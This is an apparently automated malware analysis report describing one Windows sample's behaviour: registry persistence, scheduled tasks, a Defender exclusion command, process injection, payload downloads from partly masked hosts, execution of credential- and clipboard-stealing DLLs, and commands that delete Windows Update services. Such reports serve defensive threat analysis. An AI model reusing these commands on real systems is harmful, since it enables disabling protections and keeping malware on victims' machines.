Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'SysHelper' = '"%LOCALAPPDATA%\622f969d-e847-4910-8fec-2e2427c545ae\7C9E.exe" --AutoStart'
Creates or modifies the following files
- <SYSTEM32>\tasks\firefox default browser agent d137d4238cff03c4
- <SYSTEM32>\tasks\time trigger task
- <SYSTEM32>\tasks\nbveek.exe
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Injects code into
the following system processes:
- %WINDIR%\explorer.exe
the following user processes:
- 7c9e.exe
Modifies file system
Creates the following files
- %APPDATA%\fjaagcd
- %TEMP%\7c9e.exe
- %LOCALAPPDATA%\622f969d-e847-4910-8fec-2e2427c545ae\7c9e.exe
- %TEMP%\d1ef.exe
- %TEMP%\player3.exe
- %TEMP%\ss31.exe
- %TEMP%\16de06bfb4\nbveek.exe
- %TEMP%\xandetc.exe
- %TEMP%\e551.exe
- C:\systemid\personalid.txt
- %TEMP%\960123792202
Sets the 'hidden' attribute to the following files
- %APPDATA%\fjaagcd
Deletes the following files
- <SYSTEM32>\tasks\time trigger task
- %TEMP%\960123792202
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\bzjx5bke\index[1].php
Deletes itself.
Network activity
Connects to
- 'po###ulit.org':80
- '45.#.74.80':80
- 'ap#.2ip.ua':443
- 'ze##q.com':80
- 'bz.###eioaag.com':80
- 'ua##y.top':80
- '77.##.134.27':80
- 'fa###ook.com':443
TCP
HTTP GET requests
- http://45.#.74.80/power.exe
- http://ua##y.top/dl/build2.exe
- http://ze##q.com/lancer/get.php?pi#############################################
- http://ze##q.com/files/1/build3.exe
- http://bz.###eioaag.com/sts/bimage.jpg
- http://ua##y.top/dl/build.exe
HTTP POST requests
- http://po###ulit.org/
- http://77.##.134.27/8bmdh3Slb2/index.php
- http://77.##.134.27/8bmdh3Slb2/index.php?sc###
Other
- 'ap#.2ip.ua':443
- 'fa###ook.com':443
UDP
- DNS ASK po###ulit.org
- DNS ASK ap#.2ip.ua
- DNS ASK ua##y.top
- DNS ASK ze##q.com
- DNS ASK bz.###eioaag.com
- DNS ASK fa###ook.com
Miscellaneous
Creates and executes the following
- '%TEMP%\7c9e.exe'
- '%TEMP%\7c9e.exe' --Admin IsNotAutoStart IsNotTask
- '%TEMP%\d1ef.exe'
- '%TEMP%\player3.exe'
- '%TEMP%\ss31.exe'
- '%TEMP%\16de06bfb4\nbveek.exe'
- '%TEMP%\xandetc.exe'
- '%TEMP%\e551.exe'
- '%APPDATA%\fjaagcd'
- '%WINDIR%\syswow64\icacls.exe' "%LOCALAPPDATA%\622f969d-e847-4910-8fec-2e2427c545ae" /deny *S-1-1-0:(OI)(CI)(DE,DC)' (with hidden window)
- '%TEMP%\16de06bfb4\nbveek.exe' ' (with hidden window)
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "%TEMP%\16de06bfb4\nbveek.exe" /F' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /k echo Y|CACLS "nbveek.exe" /P "user:N"&&CACLS "nbveek.exe" /P "user:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "user:N"&&CACLS "..\16de06bfb4" /P "user:R" /E&&Exit' (with hidden window)
- '%APPDATA%\fjaagcd' ' (with hidden window)
- '%WINDIR%\syswow64\rundll32.exe' %APPDATA%\07c6bc37dc5087\cred64.dll, Main' (with hidden window)
- '%WINDIR%\syswow64\rundll32.exe' %APPDATA%\07c6bc37dc5087\clip64.dll, Main' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\icacls.exe' "%LOCALAPPDATA%\622f969d-e847-4910-8fec-2e2427c545ae" /deny *S-1-1-0:(OI)(CI)(DE,DC)
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
- '<SYSTEM32>\schtasks.exe' /create /f /sc onlogon /rl highest /ru System /tn NoteUpdateTaskMachineQC /tr "'%ProgramFiles%\Notepad\Chrome\updater.exe'"
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\rundll32.exe' %APPDATA%\07c6bc37dc5087\cred64.dll, Main
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-dc 0
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '%WINDIR%\syswow64\rundll32.exe' %APPDATA%\07c6bc37dc5087\clip64.dll, Main
- '%WINDIR%\syswow64\rundll32.exe' %APPDATA%\07c6bc37dc5087\cred64.dll, Main
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\powercfg.exe' /x -hibernate-timeout-ac 0
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([Sys...
- '<SYSTEM32>\cmd.exe' /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentContr...
- '<SYSTEM32>\cmd.exe' /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
- '<SYSTEM32>\taskeng.exe' {47F47936-856C-4AF9-A9CF-CA99D119FA40} S-1-5-21-1960123792-2022915161-3775307078-1001:jkknjklehe\user:Interactive:[1]
- '%WINDIR%\syswow64\cacls.exe' "..\16de06bfb4" /P "user:R" /E
- '%WINDIR%\syswow64\cacls.exe' "..\16de06bfb4" /P "user:N"
- '%WINDIR%\syswow64\cacls.exe' "nbveek.exe" /P "user:R" /E
- '%WINDIR%\syswow64\cacls.exe' "nbveek.exe" /P "user:N"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo Y"
- '%WINDIR%\syswow64\cmd.exe' /k echo Y|CACLS "nbveek.exe" /P "user:N"&&CACLS "nbveek.exe" /P "user:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "user:N"&&CACLS "..\16de06bfb4" /P "user:R" /E&&Exit
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "%TEMP%\16de06bfb4\nbveek.exe" /F
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks...
- '<SYSTEM32>\schtasks.exe' /run /tn NoteUpdateTaskMachineQC
